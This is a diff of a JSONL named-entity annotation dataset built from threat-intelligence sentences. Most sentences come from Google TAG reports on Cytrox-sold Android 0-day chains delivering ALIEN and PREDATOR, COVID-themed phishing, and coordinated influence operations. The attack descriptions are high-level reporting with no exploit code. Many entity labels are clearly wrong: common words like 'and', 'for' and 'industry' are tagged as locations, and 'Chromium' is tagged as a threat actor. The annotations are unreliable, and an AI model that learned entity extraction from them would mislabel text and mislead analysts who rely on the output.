-{"id":10450,"text":" In the 30 days evaluation period, our security analysts will help you set up recommended policies or review your existing policies, monitor your endpoints and email accounts 24x7, conduct proactive incident investigation, mitigate the threat such as quarantine emails (if authorized by you in advance), and provide a detailed report if an incident happens.","entities":[{"id":31751,"label":"location","start_offset":39,"end_offset":47},{"id":31752,"label":"location","start_offset":57,"end_offset":61},{"id":31753,"label":"location","start_offset":133,"end_offset":140},{"id":31754,"label":"location","start_offset":156,"end_offset":159},{"id":31755,"label":"location","start_offset":294,"end_offset":301},{"id":31756,"label":"location","start_offset":304,"end_offset":307}],"relations":[],"Comments":[]}
-{"id":10451,"text":"It’s a great opportunity to try our industry leading endpoint and email extended detection and response (XDR) and Managed XDR.","entities":[{"id":31757,"label":"location","start_offset":13,"end_offset":24},{"id":31758,"label":"location","start_offset":36,"end_offset":44},{"id":31759,"label":"location","start_offset":62,"end_offset":65},{"id":31760,"label":"location","start_offset":91,"end_offset":94},{"id":31761,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":10452,"text":"Act fast!","entities":[],"relations":[],"Comments":[]}
 {"id":10453,"text":"This offer ends September 30, 2021.","entities":[],"relations":[],"Comments":[]}
 {"id":10454,"text":"Just click the URL below for your region, sign up today for your free trial and allow us to help you protect your business.","entities":[{"id":31763,"label":"identity","start_offset":0,"end_offset":4},{"id":31764,"label":"location","start_offset":34,"end_offset":40},{"id":31766,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10455,"text":"Americas Europe Australia and New Zealand","entities":[{"id":31767,"label":"location","start_offset":0,"end_offset":8},{"id":31768,"label":"location","start_offset":9,"end_offset":15},{"id":31769,"label":"location","start_offset":16,"end_offset":25},{"id":31770,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":10456,"text":"     Tags  Cloud | Cyber Threats | APT & Targeted Attacks | Endpoints | Ransomware | Network | Security Strategies | Articles, News, Reports","entities":[{"id":31772,"label":"location","start_offset":11,"end_offset":16},{"id":31773,"label":"location","start_offset":35,"end_offset":38},{"id":31774,"label":"location","start_offset":95,"end_offset":103}],"relations":[],"Comments":[]}
 {"id":10457,"text":"To protect our users, Google’s Threat Analysis Group (TAG) routinely hunts for 0-day vulnerabilities exploited in-the-wild.","entities":[],"relations":[],"Comments":[]}
-{"id":10458,"text":"In 2021, we reported nine 0-days affecting Chrome, Android, Apple and Microsoft, leading to patches to protect users from these attacks.","entities":[{"id":31781,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":10459,"text":"This blog is a follow up to our July 2021 post on four 0-day vulnerabilities we discovered in 2021, and details campaigns targeting Android users with five distinct 0-day vulnerabilities: We assess with high confidence that these exploits were packaged by a single commercial surveillance company, Cytrox, and sold to different government-backed actors who used them in at least the three campaigns discussed below.","entities":[{"id":31784,"label":"location","start_offset":42,"end_offset":46},{"id":31788,"label":"location","start_offset":100,"end_offset":103},{"id":31791,"label":"location","start_offset":208,"end_offset":218},{"id":31793,"label":"location","start_offset":306,"end_offset":309},{"id":31794,"label":"location","start_offset":362,"end_offset":366}],"relations":[],"Comments":[]}
-{"id":10460,"text":"Consistent with findings from CitizenLab, we assess likely government-backed actors purchasing these exploits are operating (at least) in Egypt, Armenia, Greece, Madagascar, Côte d’Ivoire, Serbia, Spain and Indonesia.","entities":[{"id":31798,"label":"location","start_offset":52,"end_offset":58},{"id":31799,"label":"location","start_offset":110,"end_offset":113},{"id":31807,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
-{"id":10461,"text":"The 0-day exploits were used alongside n-day exploits as the developers took advantage of the time difference between when some critical bugs were patched but not flagged as security issues and when these patches were fully deployed across the Android ecosystem.","entities":[{"id":31811,"label":"location","start_offset":94,"end_offset":98},{"id":31812,"label":"location","start_offset":110,"end_offset":117},{"id":31813,"label":"location","start_offset":174,"end_offset":182},{"id":31814,"label":"location","start_offset":190,"end_offset":193}],"relations":[],"Comments":[]}
-{"id":10462,"text":"Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments with the technical expertise to develop and operationalize exploits.","entities":[{"id":31815,"label":"location","start_offset":120,"end_offset":124},{"id":31816,"label":"location","start_offset":185,"end_offset":188}],"relations":[],"Comments":[]}
-{"id":10463,"text":"Seven of the nine 0-days TAG discovered in 2021 fall into this category: developed by commercial providers and sold to and used by government-backed actors.","entities":[{"id":31821,"label":"location","start_offset":107,"end_offset":110},{"id":31822,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
-{"id":10464,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":31825,"label":"location","start_offset":59,"end_offset":65},{"id":31826,"label":"location","start_offset":84,"end_offset":87},{"id":31827,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":10465,"text":"All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.","entities":[{"id":31830,"label":"location","start_offset":34,"end_offset":38}],"relations":[],"Comments":[]}
-{"id":10466,"text":"The campaigns were limited — in each case, we assess the number of targets was in the tens of users.","entities":[{"id":31831,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":10467,"text":"Once clicked, the link redirected the target to an attacker-owned domain that delivered the exploits before redirecting the browser to a legitimate website.","entities":[{"id":31833,"label":"location","start_offset":38,"end_offset":44}],"relations":[],"Comments":[]}
 {"id":10468,"text":"If the link was not active, the user was redirected directly to a legitimate website.","entities":[],"relations":[],"Comments":[]}
-{"id":10469,"text":"We've seen this technique used against journalists and other unidentified targets, and alerted those users when possible.","entities":[{"id":31834,"label":"location","start_offset":51,"end_offset":54},{"id":31835,"label":"location","start_offset":83,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":10470,"text":"We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.","entities":[{"id":31836,"label":"malware","start_offset":41,"end_offset":46}],"relations":[],"Comments":[]}
 {"id":10471,"text":"ALIEN lives inside multiple privileged processes and receives commands from PREDATOR over IPC.","entities":[{"id":31841,"label":"malware","start_offset":0,"end_offset":5},{"id":31842,"label":"location","start_offset":49,"end_offset":52}],"relations":[],"Comments":[]}
-{"id":10472,"text":"These commands include recording audio, adding CA certificates, and hiding apps.","entities":[{"id":31843,"label":"location","start_offset":64,"end_offset":67}],"relations":[],"Comments":[]}
-{"id":10473,"text":"The first campaign, detected in August 2021, used Chrome on a Samsung Galaxy S21 and the web server immediately replied with a HTTP redirect (302) pointing to the following intent URL.","entities":[{"id":31845,"label":"location","start_offset":10,"end_offset":18},{"id":31849,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":10474,"text":"This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.","entities":[{"id":31850,"label":"location","start_offset":29,"end_offset":32},{"id":31851,"label":"location","start_offset":50,"end_offset":54}],"relations":[],"Comments":[]}
 {"id":10475,"text":" We did not capture the subsequent stages, but assess the attackers did not have exploits for the current version of Chrome (91.0.4472) at that time, but instead used n-day exploits targeting Samsung Browser, which was running an older and vulnerable version of Chromium.","entities":[{"id":31852,"label":"location","start_offset":144,"end_offset":148},{"id":31854,"label":"location","start_offset":236,"end_offset":239},{"id":31855,"label":"threat-actor","start_offset":262,"end_offset":270}],"relations":[],"Comments":[]}
-{"id":10476,"text":"We assess with high confidence this vulnerability was sold by an exploit broker and probably abused by more than one surveillance vendor.","entities":[{"id":31856,"label":"location","start_offset":20,"end_offset":30},{"id":31857,"label":"location","start_offset":80,"end_offset":83},{"id":31859,"label":"location","start_offset":130,"end_offset":136}],"relations":[],"Comments":[]}
-{"id":10477,"text":"More technical details about this vulnerability are available in this RCA by Maddie Stone.","entities":[{"id":31860,"label":"location","start_offset":48,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":10478,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":10479,"text":"In September 2021, TAG detected a campaign where the exploit chain was delivered to a fully up-to-date Samsung Galaxy S10 running the latest version of Chrome.","entities":[{"id":31864,"label":"location","start_offset":34,"end_offset":42},{"id":31865,"label":"location","start_offset":98,"end_offset":102},{"id":31867,"label":"location","start_offset":111,"end_offset":117},{"id":31868,"label":"location","start_offset":118,"end_offset":121}],"relations":[],"Comments":[]}
 {"id":10480,"text":"We recovered the exploit used to escape the Chrome Sandbox, but not the initial RCE exploit.","entities":[],"relations":[],"Comments":[]}
-{"id":10481,"text":"The sandbox escape was loaded directly as an ELF binary embedding libchrome.so and a custom libmojo_bridge.so was used to ease the communication with the Mojo IPCs.","entities":[{"id":31870,"label":"location","start_offset":79,"end_offset":82},{"id":31872,"label":"location","start_offset":154,"end_offset":158}],"relations":[],"Comments":[]}
-{"id":10482,"text":"This means the renderer exploit did not enable MojoJS bindings like we often see in public exploits.","entities":[{"id":31873,"label":"location","start_offset":5,"end_offset":10},{"id":31874,"label":"location","start_offset":84,"end_offset":90}],"relations":[],"Comments":[]}
-{"id":10483,"text":"Analysis of the exploit identified two different vulnerabilities in Chrome: After escaping the sandbox, the exploit downloaded another exploit in \/data\/data\/com.android.chrome\/p.so to elevate privileges and install the implant.","entities":[{"id":31877,"label":"location","start_offset":203,"end_offset":206}],"relations":[],"Comments":[]}
 {"id":10484,"text":"We haven’t retrieved a copy of the exploit.","entities":[],"relations":[],"Comments":[]}
 {"id":10485,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":10486,"text":"In October 2021, we detected a full chain exploit from an up-to-date Samsung phone running the latest version of Chrome.","entities":[{"id":31879,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":10487,"text":"The chain included two 0-day exploits: Of note, CVE-2021-1048 was fixed in the Linux kernel in September 2020, over a year before this campaign.","entities":[{"id":31883,"label":"location","start_offset":57,"end_offset":61},{"id":31886,"label":"location","start_offset":135,"end_offset":143}],"relations":[],"Comments":[]}
-{"id":10488,"text":"The commit was not flagged as a security issue and therefore the patch was not backported in most Android kernels.","entities":[{"id":31887,"label":"location","start_offset":32,"end_offset":40},{"id":31888,"label":"location","start_offset":41,"end_offset":46},{"id":31889,"label":"location","start_offset":47,"end_offset":50},{"id":31890,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":10489,"text":"At the time of the exploit, all Samsung kernels were vulnerable; LTS kernels running on Pixel phones were recent enough and included the fix for this bug.","entities":[{"id":31892,"label":"location","start_offset":7,"end_offset":11},{"id":31895,"label":"location","start_offset":120,"end_offset":123}],"relations":[],"Comments":[]}
-{"id":10490,"text":"Unfortunately, this is not the first time we have seen this happen with exploits in the wild; the 2019 Bad Binder vulnerability is another example.","entities":[{"id":31897,"label":"location","start_offset":37,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":10491,"text":"In both cases, the fix was not flagged as a security issue and thus not backported to all (or any) Android kernels.","entities":[{"id":31899,"label":"location","start_offset":44,"end_offset":52},{"id":31900,"label":"location","start_offset":53,"end_offset":58},{"id":31901,"label":"location","start_offset":59,"end_offset":62}],"relations":[],"Comments":[]}
-{"id":10492,"text":"Attackers are actively looking for and profiting from such slowly-fixed vulnerabilities.","entities":[{"id":31903,"label":"location","start_offset":10,"end_offset":13},{"id":31904,"label":"location","start_offset":35,"end_offset":38}],"relations":[],"Comments":[]}
 {"id":10493,"text":"Related IOCs","entities":[],"relations":[],"Comments":[]}
-{"id":10494,"text":"We’d be remiss if we did not acknowledge the quick response and patching of these vulnerabilities by Google’s Chrome and Android teams.","entities":[{"id":31905,"label":"location","start_offset":45,"end_offset":50},{"id":31906,"label":"location","start_offset":60,"end_offset":63},{"id":31909,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":10495,"text":"We would also like to thank Project Zero for their technical assistance in helping analyze these bugs.","entities":[],"relations":[],"Comments":[]}
-{"id":10496,"text":"TAG continues to track more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to government-backed actors.","entities":[{"id":31912,"label":"location","start_offset":57,"end_offset":63},{"id":31913,"label":"location","start_offset":82,"end_offset":85},{"id":31914,"label":"location","start_offset":86,"end_offset":92}],"relations":[],"Comments":[]}
 {"id":10497,"text":"We remain committed to updating the community as we uncover these campaigns.","entities":[{"id":31915,"label":"location","start_offset":36,"end_offset":45},{"id":31916,"label":"tools","start_offset":52,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":10498,"text":"Tackling the harmful practices of the commercial surveillance industry will require a robust, comprehensive approach that includes cooperation among threat intelligence teams, network defenders, academic researchers and technology platforms.","entities":[{"id":31917,"label":"location","start_offset":62,"end_offset":70},{"id":31918,"label":"location","start_offset":71,"end_offset":75},{"id":31919,"label":"location","start_offset":216,"end_offset":219}],"relations":[],"Comments":[]}
 {"id":10499,"text":"We look forward to continuing our work in this space and advancing the safety and security of our users around the world.","entities":[{"id":31920,"label":"location","start_offset":53,"end_offset":56},{"id":31921,"label":"tools","start_offset":71,"end_offset":77},{"id":31922,"label":"location","start_offset":78,"end_offset":81},{"id":31923,"label":"location","start_offset":82,"end_offset":90},{"id":31924,"label":"location","start_offset":115,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":10500,"text":"NOTE: On May 20th, we updated our attribution to more precisely describe our findings.","entities":[],"relations":[],"Comments":[]}
 {"id":10501,"text":"On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
@@ -10503,445 +7663,179 @@
 {"id":10503,"text":"Today, we’re sharing recent findings on government-backed phishing, threats and disinformation, as well as a new bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns.","entities":[{"id":31940,"label":"attack-pattern","start_offset":58,"end_offset":66},{"id":31941,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
 {"id":10504,"text":"Last month, we sent 1,755 warnings to users whose accounts were targets of government-backed attackers.","entities":[],"relations":[],"Comments":[]}
 {"id":10505,"text":"Generally, 2020 has been dominated by COVID-19.","entities":[],"relations":[],"Comments":[]}
-{"id":10506,"text":"The pandemic has taken center stage in people’s everyday lives, in the international news media, and in the world of government-backed hacking.","entities":[{"id":31945,"label":"location","start_offset":23,"end_offset":29},{"id":31946,"label":"location","start_offset":71,"end_offset":84},{"id":31947,"label":"location","start_offset":90,"end_offset":95},{"id":31948,"label":"location","start_offset":97,"end_offset":100},{"id":31949,"label":"location","start_offset":108,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":10507,"text":"Recently, we shared information on numerous COVID-themed attacks discovered and confirmed by our teams.","entities":[{"id":31950,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10508,"text":"We continue to see attacks from groups like Charming Kitten on medical and healthcare professionals, including World Health Organization (WHO) employees.","entities":[{"id":31952,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":10509,"text":"And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.","entities":[{"id":31955,"label":"location","start_offset":0,"end_offset":3},{"id":31956,"label":"location","start_offset":80,"end_offset":83},{"id":31957,"label":"attack-pattern","start_offset":84,"end_offset":92},{"id":31958,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":10510,"text":"As one example, we've seen new activity from “hack-for-hire” firms, many based in India, that have been creating Gmail accounts spoofing the WHO.","entities":[{"id":31960,"label":"location","start_offset":46,"end_offset":50},{"id":31961,"label":"location","start_offset":61,"end_offset":66},{"id":31962,"label":"location","start_offset":68,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":10511,"text":"The accounts have largely targeted business leaders in financial services, consulting, and healthcare corporations within numerous countries including, the U.S., Slovenia, Canada, India, Bahrain, Cyprus, and the UK.","entities":[{"id":31965,"label":"location","start_offset":87,"end_offset":90},{"id":31972,"label":"location","start_offset":204,"end_offset":207}],"relations":[],"Comments":[]}
-{"id":10512,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[{"id":31975,"label":"location","start_offset":144,"end_offset":147},{"id":31976,"label":"location","start_offset":186,"end_offset":190},{"id":31977,"label":"location","start_offset":193,"end_offset":199}],"relations":[],"Comments":[]}
-{"id":10513,"text":"The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.","entities":[{"id":31979,"label":"location","start_offset":4,"end_offset":9},{"id":31980,"label":"location","start_offset":78,"end_offset":82},{"id":31982,"label":"location","start_offset":120,"end_offset":123},{"id":31983,"label":"location","start_offset":162,"end_offset":166}],"relations":[],"Comments":[]}
 {"id":10514,"text":"To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":31984,"label":"location","start_offset":66,"end_offset":76},{"id":31985,"label":"location","start_offset":109,"end_offset":117},{"id":31986,"label":"location","start_offset":123,"end_offset":126},{"id":31987,"label":"attack-pattern","start_offset":180,"end_offset":188},{"id":31988,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
 {"id":10515,"text":"APP was designed specifically for high-risk accounts.","entities":[],"relations":[],"Comments":[]}
-{"id":10516,"text":"Government-backed or state-sponsored groups have different goals in carrying out their attacks: Some are looking to collect intelligence or steal intellectual property; others are targeting dissidents or activists, or attempting to engage in coordinated influence operations and disinformation campaigns.","entities":[{"id":31989,"label":"location","start_offset":101,"end_offset":104},{"id":31990,"label":"location","start_offset":176,"end_offset":179},{"id":31991,"label":"location","start_offset":275,"end_offset":278}],"relations":[],"Comments":[]}
 {"id":10517,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[{"id":31992,"label":"location","start_offset":13,"end_offset":16},{"id":31993,"label":"location","start_offset":47,"end_offset":55},{"id":31995,"label":"attack-pattern","start_offset":97,"end_offset":105},{"id":31996,"label":"location","start_offset":106,"end_offset":109},{"id":31997,"label":"threat-actor","start_offset":110,"end_offset":114},{"id":31998,"label":"location","start_offset":203,"end_offset":206},{"id":31999,"label":"location","start_offset":242,"end_offset":245},{"id":32000,"label":"location","start_offset":246,"end_offset":250}],"relations":[],"Comments":[]}
-{"id":10518,"text":"In addition to our internal investigations, we work with law enforcement, industry partners, and third parties like specialized security firms to assess and share intelligence.","entities":[{"id":32001,"label":"location","start_offset":57,"end_offset":60},{"id":32002,"label":"location","start_offset":74,"end_offset":82},{"id":32003,"label":"location","start_offset":93,"end_offset":96},{"id":32005,"label":"location","start_offset":128,"end_offset":136},{"id":32006,"label":"location","start_offset":137,"end_offset":142},{"id":32007,"label":"location","start_offset":153,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":10519,"text":"When we find attempts to conduct coordinated influence operations on our platforms, we work with our Trust & Safety teams to swiftly remove such content from our platforms and terminate these actors’ accounts.","entities":[{"id":32009,"label":"location","start_offset":145,"end_offset":152},{"id":32010,"label":"location","start_offset":172,"end_offset":175}],"relations":[],"Comments":[]}
-{"id":10520,"text":"We take steps to prevent possible future attempts by the same actors, and routinely exchange information and share our findings with others in the industry.","entities":[{"id":32011,"label":"location","start_offset":57,"end_offset":61},{"id":32012,"label":"location","start_offset":70,"end_offset":73},{"id":32013,"label":"location","start_offset":84,"end_offset":92},{"id":32014,"label":"location","start_offset":105,"end_offset":108},{"id":32015,"label":"location","start_offset":147,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":10521,"text":"We’ve also shared occasional updates about this kind of activity, and today we’re introducing a more streamlined way of doing this via a new, quarterly bulletin to share information about actions we take against accounts that we attribute to coordinated influence campaigns (foreign and domestic).","entities":[{"id":32016,"label":"location","start_offset":66,"end_offset":69},{"id":32018,"label":"location","start_offset":113,"end_offset":116},{"id":32020,"label":"location","start_offset":283,"end_offset":286},{"id":32021,"label":"location","start_offset":287,"end_offset":295}],"relations":[],"Comments":[]}
-{"id":10522,"text":"Our actions against coordinated influence operations from January, February and March can be found in the Q1 Bulletin.","entities":[{"id":32024,"label":"location","start_offset":76,"end_offset":79},{"id":32026,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
-{"id":10523,"text":"Since March, we’ve removed more than a thousand YouTube channels that we believe to be part of a large campaign and that were behaving in a coordinated manner.","entities":[{"id":32031,"label":"location","start_offset":97,"end_offset":102},{"id":32032,"label":"location","start_offset":103,"end_offset":111},{"id":32033,"label":"location","start_offset":112,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":10524,"text":"These channels were mostly uploading spammy, non-political content, but a small subset posted primarily Chinese-language political content similar to the findings of a recent Graphika report.","entities":[{"id":32034,"label":"location","start_offset":59,"end_offset":66},{"id":32035,"label":"location","start_offset":74,"end_offset":79},{"id":32037,"label":"location","start_offset":131,"end_offset":138}],"relations":[],"Comments":[]}
-{"id":10525,"text":"We’ll also share additional removal actions from April and May in the Q2 Bulletin.","entities":[{"id":32040,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":10526,"text":"Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.","entities":[{"id":32043,"label":"location","start_offset":4,"end_offset":8},{"id":32044,"label":"location","start_offset":52,"end_offset":55},{"id":32045,"label":"location","start_offset":126,"end_offset":131},{"id":32046,"label":"location","start_offset":133,"end_offset":136},{"id":32047,"label":"location","start_offset":140,"end_offset":144},{"id":32048,"label":"location","start_offset":159,"end_offset":162},{"id":32049,"label":"location","start_offset":190,"end_offset":198},{"id":32050,"label":"location","start_offset":199,"end_offset":204},{"id":32051,"label":"location","start_offset":205,"end_offset":208},{"id":32052,"label":"location","start_offset":223,"end_offset":231}],"relations":[],"Comments":[]}
 {"id":10527,"text":"We will also continue to share more detailed analysis of vulnerabilities we find, phishing and malware campaigns that we see, and other interesting or noteworthy trends across this space.","entities":[{"id":32053,"label":"location","start_offset":3,"end_offset":7},{"id":32054,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":32055,"label":"location","start_offset":91,"end_offset":94},{"id":32056,"label":"location","start_offset":126,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":10528,"text":"This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 of 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":10529,"text":"It was last updated on May 27, 2020.","entities":[],"relations":[],"Comments":[]}
 {"id":10530,"text":"We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.","entities":[],"relations":[],"Comments":[]}
-{"id":10531,"text":"The campaign was linked to the Iranian state-sponsored International Union of Virtual Media (IUVM) network, and was reproducing IUVM content covering Iran’s strikes into Iraq and U.S. policy on oil.","entities":[{"id":32062,"label":"location","start_offset":4,"end_offset":12},{"id":32066,"label":"location","start_offset":108,"end_offset":111},{"id":32068,"label":"location","start_offset":133,"end_offset":140},{"id":32071,"label":"location","start_offset":175,"end_offset":178},{"id":32073,"label":"location","start_offset":194,"end_offset":197}],"relations":[],"Comments":[]}
 {"id":10532,"text":"We received leads from Graphika that supported us in this investigation.","entities":[],"relations":[],"Comments":[]}
-{"id":10533,"text":"We terminated 1 advertising account and 82 YouTube channels as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":32076,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":10534,"text":"The campaign was sharing political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":32080,"label":"location","start_offset":4,"end_offset":12},{"id":32081,"label":"location","start_offset":35,"end_offset":42},{"id":32086,"label":"location","start_offset":97,"end_offset":100},{"id":32088,"label":"location","start_offset":109,"end_offset":112},{"id":32090,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":10535,"text":"We found evidence of this campaign being tied to the digital marketing firm New Waves based in Cairo.","entities":[{"id":32092,"label":"location","start_offset":26,"end_offset":34}],"relations":[],"Comments":[]}
-{"id":10536,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":32095,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10537,"text":"We terminated 3 advertising accounts, 1 AdSense account, and 11 YouTube channels as part of our actions against a coordinated influence operation linked to India.","entities":[{"id":32100,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":10538,"text":"The campaign was sharing messages in English supportive of Qatar.","entities":[{"id":32104,"label":"location","start_offset":4,"end_offset":12}],"relations":[],"Comments":[]}
-{"id":10539,"text":"This campaign was consistent with similar findings reported by Facebook.","entities":[{"id":32107,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10540,"text":"We banned 1 Play developer and terminated 68 YouTube channels as part of our actions against a coordinated influence operation.","entities":[{"id":32110,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":10541,"text":"The campaign was posting political content in Arabic supportive of Turkey and critical of the UAE and Yemen.","entities":[{"id":32113,"label":"location","start_offset":4,"end_offset":12},{"id":32114,"label":"location","start_offset":35,"end_offset":42},{"id":32117,"label":"location","start_offset":74,"end_offset":77},{"id":32119,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":10542,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":32121,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10543,"text":"We terminated 1 advertising account, 1 AdSense account, 17 YouTube channels and banned 1 Play developer as part of our actions against a coordinated influence operation linked to Egypt.","entities":[{"id":32128,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]}
-{"id":10544,"text":"The campaign was posting political content in Arabic supportive of Saudi Arabia, the UAE, Egypt, and Bahrain and critical of Iran and Qatar.","entities":[{"id":32131,"label":"location","start_offset":4,"end_offset":12},{"id":32132,"label":"location","start_offset":35,"end_offset":42},{"id":32137,"label":"location","start_offset":97,"end_offset":100},{"id":32139,"label":"location","start_offset":109,"end_offset":112},{"id":32141,"label":"location","start_offset":130,"end_offset":133}],"relations":[],"Comments":[]}
-{"id":10545,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":32143,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":10546,"text":"We banned 1 Play developer and terminated 78 YouTube channels as part of our actions against a coordinated influence operation linked to Serbia.","entities":[{"id":32146,"label":"location","start_offset":27,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":10547,"text":"The domestic campaign was posting pro-Serbian political content.","entities":[{"id":32150,"label":"location","start_offset":4,"end_offset":12},{"id":32151,"label":"location","start_offset":13,"end_offset":21},{"id":32153,"label":"location","start_offset":56,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":10548,"text":"This campaign was consistent with similar findings reported by Twitter.","entities":[{"id":32154,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
 {"id":10549,"text":"Google’s Threat Analysis Group (TAG) is a specialized team of security experts that works to identify, report, and stop government-backed phishing and hacking against Google and the people who use our products.","entities":[{"id":32158,"label":"location","start_offset":62,"end_offset":70},{"id":32159,"label":"location","start_offset":111,"end_offset":114},{"id":32160,"label":"location","start_offset":115,"end_offset":119},{"id":32161,"label":"attack-pattern","start_offset":138,"end_offset":146},{"id":32162,"label":"location","start_offset":147,"end_offset":150},{"id":32164,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
-{"id":10550,"text":"We work across Google products to identify new vulnerabilities and threats.","entities":[{"id":32166,"label":"location","start_offset":63,"end_offset":66}],"relations":[],"Comments":[]}
-{"id":10551,"text":"Today we’re sharing our latest findings and the threats we’re seeing in relation to COVID-19.","entities":[{"id":32168,"label":"location","start_offset":40,"end_offset":43}],"relations":[],"Comments":[]}
 {"id":10552,"text":"One notable campaign attempted to target personal accounts of U.S. government employees with phishing lures using American fast food franchises and COVID-19 messaging.","entities":[{"id":32170,"label":"location","start_offset":12,"end_offset":20},{"id":32171,"label":"location","start_offset":34,"end_offset":40},{"id":32173,"label":"attack-pattern","start_offset":93,"end_offset":101},{"id":32175,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":10553,"text":"Some messages offered free meals and coupons in response to COVID-19, others suggested recipients visit sites disguised as online ordering and delivery options.","entities":[{"id":32176,"label":"location","start_offset":33,"end_offset":36},{"id":32177,"label":"location","start_offset":104,"end_offset":109},{"id":32178,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
 {"id":10554,"text":"Once people clicked on the emails, they were presented with phishing pages designed to trick them into providing their Google account credentials.","entities":[{"id":32179,"label":"attack-pattern","start_offset":60,"end_offset":68},{"id":32180,"label":"location","start_offset":93,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":10555,"text":"The vast majority of these messages were sent to spam without any user ever seeing them, and we were able to preemptively block the domains using Safe Browsing.","entities":[{"id":32182,"label":"tools","start_offset":4,"end_offset":8},{"id":32183,"label":"location","start_offset":71,"end_offset":75},{"id":32184,"label":"location","start_offset":83,"end_offset":87},{"id":32185,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":10556,"text":"We’re not aware of any user having their account compromised by this campaign, but as usual, we notify all targeted users with a “government-backed attacker” warning.","entities":[{"id":32187,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]}
